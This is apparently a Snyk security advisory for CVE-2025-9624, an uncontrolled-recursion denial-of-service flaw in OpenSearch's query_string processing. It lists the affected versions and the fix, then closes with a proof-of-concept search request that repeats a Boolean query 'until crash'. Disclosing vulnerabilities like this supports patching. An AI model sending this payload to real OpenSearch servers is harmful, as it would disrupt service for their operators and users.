Uncontrolled Recursion Affecting org.opensearch:opensearch package, versions [,2.19.4)[3.0.0-alpha1,3.3.0)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-JAVA-ORGOPENSEARCH-14122812
- published27 Nov 2025
- disclosed25 Nov 2025
- creditCamilo Vera
Introduced: 25 Nov 2025
NewCVE-2025-9624 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade org.opensearch:opensearch to version 2.19.4, 3.3.0 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the query_string processing. An attacker can exhaust system resources and disrupt service availability by submitting excessively long Boolean or disjunction queries.
PoC
GET _search
{
"query": {
"query_string": {
"query": "winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising)
winAd AND (rises OR rising) winAd AND (rises OR rising)" ... REPEAT UNTIL CRASH
}
}
}